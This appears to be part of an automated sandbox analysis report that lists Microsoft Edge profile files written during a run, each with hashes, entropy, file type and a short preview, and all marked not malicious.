SHA-256:	3537E3359C4CC0884682B81C3DB6EA2624063298D3296F926E885E1C1CB1E501
SHA-512:	988A957F5240EF5F97DBB55E9A8D39A1D28C93AB7C5B79FC8FFE109A1269577B86302339BDCE35D5462EBD594E4790DC2D376C3B6544F38907D4C6445124EBD4
Malicious:	false
Preview:	...m.................DB_VERSION.1"K..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376983604979333..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.1440780252088505
Encrypted:	false
SSDEEP:	6:HXmeq1N723oH+Tcwtk2WwnvB2KLlVXUtNt+q2PN723oH+Tcwtk2WwnvIFUv:3mjaYebkxwnvFLPmWvVaYebkxwnQFUv
MD5:	F60D82538B189E9C28696EF3E304260E
SHA1:	1C3B0953F1256C8FF12C17C6D8BCDBE49FA7FE7A
SHA-256:	A5C5A64F67D8029A00ABD441FF3CE04C2368B1583F668E1F87AB15FDE562D0DB
SHA-512:	87B43524E3DDD33B1C1CCB85D545C88D47E928CE0A41E14087950E0EB3BC5C79EC20E75D80038C70538AC2215A35A286054BA88CFFC066F2AFBA1396C5DE24E1
Malicious:	false
Preview:	2024/11/24-23:46:41.615 2118 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/24-23:46:41.712 2118 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324610271804351
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rl:C1gAg1zfvd
MD5:	A0ACF0BCCD9003AF56199753CE7422D0
SHA1:	EF1FC51D5792A73D2385060F7C2370E5849D702E
SHA-256:	A94CF58087CA8EE61277BC1CDAA37133BC3FBB441A90E5331E1B76D3582C584B
SHA-512:	F51C0872845F448CE9E21CA55680FDBBC39B6CA73B0720285BA9B172C94F29D3D09443900E305AF907312B957D1A7E2709734C6CF8E78365369F62D4A2E13EB8
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161968266213014
Encrypted:	false
SSDEEP:	6:HGBnq2PN723oH+Tcwt8aPrqIFUt8YGjzZmw+YGjpkwON723oH+Tcwt8amLJ:mnvVaYebL3FUt8H/+V5OaYebQJ
MD5:	8417FB4C8DAEF4F9C7C419EF41265B77
SHA1:	2B7720DA4ECD06FC516A2EB3B7779733CEE4E7EB
SHA-256:	D4143530D16E2217D26ABFF29689D934B583F35338C9F2A9AFF21CEA1DDD1CA9
SHA-512:	FE9BB351AC5316921330FAE9D38A1737864895C45BE84D283EFB4B96344592068E1FF9F23785E4ABFB864F0613943F85101CB5B37BA58C09BB5CED90E3A491CD
Malicious:	false
Preview:	2024/11/24-23:46:36.352 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-23:46:36.353 1b40 Recovering log #3.2024/11/24-23:46:36.353 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161968266213014
Encrypted:	false
SSDEEP:	6:HGBnq2PN723oH+Tcwt8aPrqIFUt8YGjzZmw+YGjpkwON723oH+Tcwt8amLJ:mnvVaYebL3FUt8H/+V5OaYebQJ
MD5:	8417FB4C8DAEF4F9C7C419EF41265B77
SHA1:	2B7720DA4ECD06FC516A2EB3B7779733CEE4E7EB
SHA-256:	D4143530D16E2217D26ABFF29689D934B583F35338C9F2A9AFF21CEA1DDD1CA9
SHA-512:	FE9BB351AC5316921330FAE9D38A1737864895C45BE84D283EFB4B96344592068E1FF9F23785E4ABFB864F0613943F85101CB5B37BA58C09BB5CED90E3A491CD
Malicious:	false
Preview:	2024/11/24-23:46:36.352 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/24-23:46:36.353 1b40 Recovering log #3.2024/11/24-23:46:36.353 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.17871150261832
Encrypted:	false
SSDEEP:	6:HGNOAq2PN723oH+Tcwt865IFUt8YGNOhZmw+YGNO7kwON723oH+Tcwt86+ULJ:ynvVaYeb/WFUt89K/+925OaYeb/+SJ
MD5:	5DF0FF67FDAB553E0F03619B5D493E75
SHA1:	4472A8381D96CC50F00C8D5DB731FEBCA0CE25F0
SHA-256:	7BA225BBA3D28C7E9667B073F9EA5E08E1665E8CD79259B1858CCD7E35FABFBC
SHA-512:	1FF9CE57D2C5D9C44E615602269EA0AFF330075167C47040069D1E04E866DB5AA9035C73CC59740C8F43B32E15050A40A2C5A996D2B356F04CEFC9F58959CBCF
Malicious:	false
Preview:	2024/11/24-23:46:36.356 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-23:46:36.356 1b40 Recovering log #3.2024/11/24-23:46:36.356 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.17871150261832
Encrypted:	false
SSDEEP:	6:HGNOAq2PN723oH+Tcwt865IFUt8YGNOhZmw+YGNO7kwON723oH+Tcwt86+ULJ:ynvVaYeb/WFUt89K/+925OaYeb/+SJ
MD5:	5DF0FF67FDAB553E0F03619B5D493E75
SHA1:	4472A8381D96CC50F00C8D5DB731FEBCA0CE25F0
SHA-256:	7BA225BBA3D28C7E9667B073F9EA5E08E1665E8CD79259B1858CCD7E35FABFBC
SHA-512:	1FF9CE57D2C5D9C44E615602269EA0AFF330075167C47040069D1E04E866DB5AA9035C73CC59740C8F43B32E15050A40A2C5A996D2B356F04CEFC9F58959CBCF
Malicious:	false
Preview:	2024/11/24-23:46:36.356 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/24-23:46:36.356 1b40 Recovering log #3.2024/11/24-23:46:36.356 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.14857699338818
Encrypted:	false
SSDEEP:	6:Hnq2PN723oH+Tcwt8NIFUt8Y/Zmw+YtkwON723oH+Tcwt8+eLJ:HvVaYebpFUt8e/+S5OaYebqJ
MD5:	FDD6852A9EDD83CC597FB7645C12C5B5
SHA1:	4D2DD0EBB0BD8F4FA3C7BFB0696CDDC4BB88A214
SHA-256:	5726B7EF8BA91166F7290D0ABEDFB1BED6283BE46DE9F08C271662E985E29BD9
SHA-512:	3642C69A2D2774FAF870A20A914029CEF2A556DD535A2849DD6A25C3F87643AD5D0FC8ACB7A2C2169F0A7D96DA0A9207614E65DE3399E1A9B003EDE4D3261E3B
Malicious:	false
Preview:	2024/11/24-23:46:37.106 b20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-23:46:37.107 b20 Recovering log #3.2024/11/24-23:46:37.107 b20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	325
Entropy (8bit):	5.14857699338818
Encrypted:	false
SSDEEP:	6:Hnq2PN723oH+Tcwt8NIFUt8Y/Zmw+YtkwON723oH+Tcwt8+eLJ:HvVaYebpFUt8e/+S5OaYebqJ
MD5:	FDD6852A9EDD83CC597FB7645C12C5B5
SHA1:	4D2DD0EBB0BD8F4FA3C7BFB0696CDDC4BB88A214
SHA-256:	5726B7EF8BA91166F7290D0ABEDFB1BED6283BE46DE9F08C271662E985E29BD9
SHA-512:	3642C69A2D2774FAF870A20A914029CEF2A556DD535A2849DD6A25C3F87643AD5D0FC8ACB7A2C2169F0A7D96DA0A9207614E65DE3399E1A9B003EDE4D3261E3B
Malicious:	false
Preview:	2024/11/24-23:46:37.106 b20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/24-23:46:37.107 b20 Recovering log #3.2024/11/24-23:46:37.107 b20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:WKLl9tFlljq7A/mhWJFuQ3yy7IOWUf/9otdweytllrE9SFcTp4AGbNCV9RUIBOn:WKRG75fOp/ud0Xi99pEY/On
MD5:	BD8A0A344DFA69EFFA22041C478FC47B
SHA1:	D7D645D695E1C49D4FADE657D0C5908A522F5D44
SHA-256:	E8DA0BED5EE7CE1329132D9FD9265AA543F8C3495C12413400DB80167755FED8
SHA-512:	6F355B987A6346A008759FF0B6430304A50C47395AFC4820A51C66E713F82A9C102D4DC77CB7C122F8AA852B58866D45743E97B587F86B945E74230E27EF74B4
Malicious:	false
Preview:	............W.<....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.648092653123428
Encrypted:	false
SSDEEP:	384:aj9P0JQkQerBP/KbtI773pL1gam6ItjlIcqRKToaADhf:adke2BP/B7itlrqRKc39
MD5:	1EFA2236AF277440D0275FDE9B70C148
SHA1:	19C231B96DD7F629B9B550000AE6E87DEE07E03A
SHA-256:	AF78F5BFA7D3CC7DCFC21AD2F21CF14C1D5024BE527CC9A691BCFCE1F648DD08
SHA-512:	32AB4714E8414021DC1FD70E188950CA7A8E7074AD70475D4BD7421B939FDAAC5899D07032EE1235D2DF6090C6515CA971D96D48551D868E81D1D93B6A16A876
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.2450977169819435
Encrypted:	false
SSDEEP:	12:3YvVaYeb8rcHEZrELFUt88c/+8c5OaYeb8rcHEZrEZSJ:3qVaYeb8nZrExg88iGOaYeb8nZrEZe
MD5:	3E552F3AD661D15C128B3D2884BD0929
SHA1:	6A15F61E8CF95EF93E3A00EC648333E1D70CDC0A
SHA-256:	2339D5B24A77BFC654D2654230C72CBFED72D2C89A240D7ABE39DCA72121803A
SHA-512:	9A21AA1FAC85D4E9060CC5D29EFB11BD74FBCED508FC85921FBF646237709707D19062FF1409A203830857ED6883925DB14F1F29C1751B5A8E949D921C974DA6
Malicious:	false
Preview:	2024/11/24-23:46:40.086 b20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-23:46:40.087 b20 Recovering log #3.2024/11/24-23:46:40.087 b20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	409
Entropy (8bit):	5.2450977169819435
Encrypted:	false
SSDEEP:	12:3YvVaYeb8rcHEZrELFUt88c/+8c5OaYeb8rcHEZrEZSJ:3qVaYeb8nZrExg88iGOaYeb8nZrEZe
MD5:	3E552F3AD661D15C128B3D2884BD0929
SHA1:	6A15F61E8CF95EF93E3A00EC648333E1D70CDC0A
SHA-256:	2339D5B24A77BFC654D2654230C72CBFED72D2C89A240D7ABE39DCA72121803A
SHA-512:	9A21AA1FAC85D4E9060CC5D29EFB11BD74FBCED508FC85921FBF646237709707D19062FF1409A203830857ED6883925DB14F1F29C1751B5A8E949D921C974DA6
Malicious:	false
Preview:	2024/11/24-23:46:40.086 b20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/24-23:46:40.087 b20 Recovering log #3.2024/11/24-23:46:40.087 b20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1473
Entropy (8bit):	5.666112308860332
Encrypted:	false
SSDEEP:	24:+ZW9vikfy5MD5rI5WdXZVAW2sFV0374wMy9WkUlHqllBkTN5zgFHHmi28/V:+ZM60NXZN2iV0374Dy91lk+HH328t
MD5:	1605F676C33788E57D3A198A21BF4A21
SHA1:	65A54DF0C61AFC37FA62C8A7D81B1C7C9C5CD467
SHA-256:	C2352F9BCC12DD34B17C9F07917D0478C9241576E7953996607E387BC68DB914
SHA-512:	7F5871866BF0B792114FD73C0758CA4AFC5658CB223269360F3EDBF1E4DCE7BBAF16A13E0420B688AECED4DD2306C78F09E549B304755AD826FF647FDC7B13AA
Malicious:	false
Preview:	!..[.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732510011159.._https://ntp.msn.com..MUID!.3C5B860E698662B2092E934C680C6309.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732510011241,"schedule":[-1,-1,10,9,20,-1,-1],"scheduleFixed":[-1,-1,10,9,20,-1,-1],"simpleSchedule":[47,18,22,19,45,48,36]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732510011120.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Sun Nov 24 2024 23:46:50 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.N..$................META:https://ntp.msn.com............._https://ntp.msn.com..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.220085693325747
Encrypted:	false
SSDEEP:	6:HGuU3+q2PN723oH+Tcwt8a2jMGIFUt8YGQk5Zmw+YGKVkwON723oH+Tcwt8a2jM4:vlvVaYeb8EFUt8L5/+y5OaYeb8bJ
MD5:	4CFA402B7CDB1C4AAC401EC421D7E154
SHA1:	969190BEF1EC1701AECF770CDEEA202511AEAD25
SHA-256:	9053184C413DDBD29F7BA4F7E6E745DB277B6545B836156122C97A0F9E06C92D
SHA-512:	929137DA2EFABD7A3BDFDBBEF94842A211277B4832DDDDF4A07D2146FEFD4ED43AA056AF9B3896A96DD5808B87E6AFB568A24AD655FEF09905388F9FF2AE856D
Malicious:	false
Preview:	2024/11/24-23:46:36.717 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/24-23:46:36.755 1e98 Recovering log #3.2024/11/24-23:46:36.758 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.220085693325747
Encrypted:	false
